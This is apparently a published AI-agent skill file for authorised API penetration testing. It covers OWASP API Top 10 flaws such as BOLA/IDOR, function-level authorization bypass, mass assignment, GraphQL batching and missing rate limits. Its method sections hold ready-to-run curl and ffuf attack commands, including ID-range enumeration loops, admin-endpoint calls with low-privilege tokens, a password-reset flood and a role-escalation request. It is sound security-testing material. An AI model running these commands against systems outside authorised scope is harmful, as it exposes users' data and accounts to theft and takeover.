api-abuse
Skill1 starsChanged 11 days agoMITView on GitHub
Hunt for OWASP API Top 10 abuse: BOLA/IDOR on object IDs, BFLA (missing function-level authz), mass assignment via API bodies, excessive data exposure in responses, and lack of rate limiting on sensitive endpoints. Use when the target exposes a REST/GraphQL/gRPC-JSON API consumed by a SPA or mobile app. Keywords: BOLA, BFLA, IDOR, API, REST, GraphQL, Swagger, OpenAPI, mass assignment, excessive data exposure, rate limit. Do NOT use for pure UI-driven horizontal/vertical access control without a distinct API layer — use broken-access-control. Do NOT use for brute-force/credential-stuffing rate limits — use rate-limiting.
- Sends data out
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. About 0 are common, 2 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈2
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 77
GraphQL-specific: If /graphql is present, check introspection and abuse batching/aliasing:
- Distinctive: line 132
Before declaring this finding complete, probe these escalation paths:
- Distinctive: line 148
No rate limiting on OTP/reset endpoints → chain into password-reset and 2fa-bypass.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
/api/,/v1/,/v2/,/graphql,swagger.json,openapi.yamlendpoints.- Numeric or UUID object IDs in paths/bodies (
/api/orders/1042,user_id). - Mobile app traffic (via proxy) hitting a backend API directly.
- JSON responses with far more fields than the UI renders.
- Two or more privilege tiers in the app (user/admin, free/paid).
Prerequisites
- At least two accounts at different privilege levels AND two accounts at the same level (for horizontal BOLA testing) — all within authorized test scope.
- Full map of API endpoints: Swagger/OpenAPI spec if public, or reconstructed via crawling + mobile app traffic capture.
- A proxy (Burp/mitmproxy) to diff requests/responses across accounts.
Methodology
- Enumerate the API surface.
curl -s https://api.target.com/swagger.json | jq '.paths | keys' curl -s https://api.target.com/openapi.json -o openapi.json && jq '.paths | keys' openapi.json # no spec published? brute-force common paths ffuf -u https://api.target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,401,403 -t 50 - BOLA / IDOR — object-level. As User A, capture every request touching an object ID. Replay as User B's session/token with User A's object ID:
Script it across a range to confirm it's systemic, not a one-off:curl -s -i https://api.target.com/api/orders/1042 -H "Authorization: Bearer $TOKEN_USER_B" # expect 403/404; a 200 with User A's data = BOLAfor id in $(seq 1030 1050); do code=$(curl -s -o /tmp/resp_$id.json -w "%{http_code}" https://api.target.com/api/orders/$id -H "Authorization: Bearer $TOKEN_USER_B") echo "$id -> $code" done - BFLA — function-level. As a low-privilege user, directly call admin-only endpoints that are hidden in the UI but present in the API/JS bundle:
Also test HTTP verb switching on endpoints that check role only for GET: try# mine the JS bundle for hidden routes first curl -s https://app.target.com/static/js/main.bundle.js | grep -oE '"/api/[a-zA-Z0-9/_-]+"' | sort -u curl -s -i -X DELETE https://api.target.com/api/admin/users/55 -H "Authorization: Bearer $TOKEN_LOW_PRIV" curl -s -i -X POST https://api.target.com/api/admin/settings -H "Authorization: Bearer $TOKEN_LOW_PRIV" -d '{"maintenance":false}'PUT/PATCH/DELETEwith the same path. - Excessive data exposure. Compare the raw API response against what the UI displays — APIs commonly return full objects (password hashes, internal flags, other users' PII in a list endpoint) and let the frontend filter:
Flag any field not rendered client-side:curl -s https://api.target.com/api/users/me -H "Authorization: Bearer $TOKEN" | jq curl -s https://api.target.com/api/users?page=1 -H "Authorization: Bearer $TOKEN" | jq '.[0]'password_hash,is_admin,internal_notes,ssn,reset_token, full card numbers. - GraphQL-specific. If
/graphqlis present, check introspection and abuse batching/aliasing:curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name } } } } "}' | jq # IDOR via node(id:) on a global ID curl -s -X POST https://api.target.com/graphql -d '{"query":"{ node(id:\"VXNlcjo1NQ==\") { ... on User { email } } }"}' # batching to bypass per-request rate limit curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" \ -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"}]' - Rate limiting on sensitive API endpoints (export, search, password reset request, OTP send) — confirm absence before escalating to rate-limiting for exploitation depth:
for i in $(seq 1 50); do curl -s -o /dev/null -w "%{http_code} " https://api.target.com/api/password/reset -d '{"email":"victim@target.com"}'; done; echo - Mass assignment via API body — covered in depth by mass-assignment; here just confirm the API accepts unexpected JSON keys at all:
curl -s -i -X PATCH https://api.target.com/api/users/me -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"name":"test","role":"admin","is_verified":true}'
Tooling
- Burp Suite + Autorize/Auth Analyzer extensions for automated per-endpoint role diffing.
ffuffor endpoint/parameter discovery.arjunfor hidden parameter discovery on API endpoints:arjun -u https://api.target.com/api/orders/1042 --headers "Authorization: Bearer $TOKEN".- Postman/Insomnia with environment-switching for multi-account replay.
jqfor response diffing.
Root Causes
- Authorization checks performed only in the frontend/UI router, absent server-side.
- Object ownership never validated — query fetches by ID alone, not
WHERE id=? AND owner_id=?. - Role/permission check implemented per-controller inconsistently, missed on newer endpoints.
- Serializers return full ORM objects instead of explicit allow-listed DTOs.
- Rate limiting applied only at the API gateway for unauthenticated traffic, not per-user/per-endpoint.
Validation Gate (minimum proof)
- BOLA: full request/response pair showing User B's token retrieving User A's object data (redact real PII, keep structure).
- BFLA: request/response showing a low-privilege token executing a state-changing admin action, plus proof the action took effect (follow-up GET showing the change) — do not execute destructive BFLA without an operator gate per project CLAUDE.md.
- Excessive data exposure: diff showing a sensitive field present in raw JSON and absent from rendered UI.
- Label each finding Demonstrated/Inferred/Unproven per project rules — a 200 response alone without confirmed data leakage is Inferred at best.
Gotchas
- Minimum proof: a different HTTP status code alone (200 vs 403) is good signal but confirm the body actually contains the other user's real data — some APIs return 200 with an empty/generic payload.
- Common N/A: IDs are server-generated unguessable UUIDv4 AND ownership is checked — if both hold, BOLA is N/A for that resource; still check BFLA separately.
- Overclaim trap: finding an endpoint in the JS bundle that 403s correctly is not a finding — only report what you could actually trigger.
- GraphQL introspection being enabled is not itself a vulnerability — it's a recon aid; don't report it as a standalone finding, fold it into the BOLA/BFLA chain it enabled.
- Rate-limit testing from one IP can get you blocked and burn engagement budget — respect the 3-retry rule in project CLAUDE.md and pivot to rate-limiting's distributed techniques only with explicit scope.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Rate limit absence — Is there any rate limit on the abused endpoint, or can it be hit without throttling for mass abuse?
- Business logic impact — Does the abuse pattern (resource exhaustion, enumeration, bulk action) translate into real business impact (cost, data loss, fraud)?
- Auth boundary crossing — Does the abused endpoint let you act on behalf of, or affect, other tenants/users?
- Chaining to DoS — Can the abuse be scaled into a denial-of-service against a shared backend resource (queue, DB connection pool)?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- BOLA on
/api/orders/{id}+ predictable sequential IDs → mass data exfiltration (quantify scope, don't dump real data). - BFLA on admin endpoint + CSRF-able request → privilege escalation triggerable cross-site.
- Excessive data exposure returning password hash → feeds offline cracking (separate skill if present) or session-management if it exposes session tokens.
- Mass assignment on
role/isAdminfield → direct link to mass-assignment for the dedicated deep-dive. - No rate limiting on OTP/reset endpoints → chain into password-reset and 2fa-bypass.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

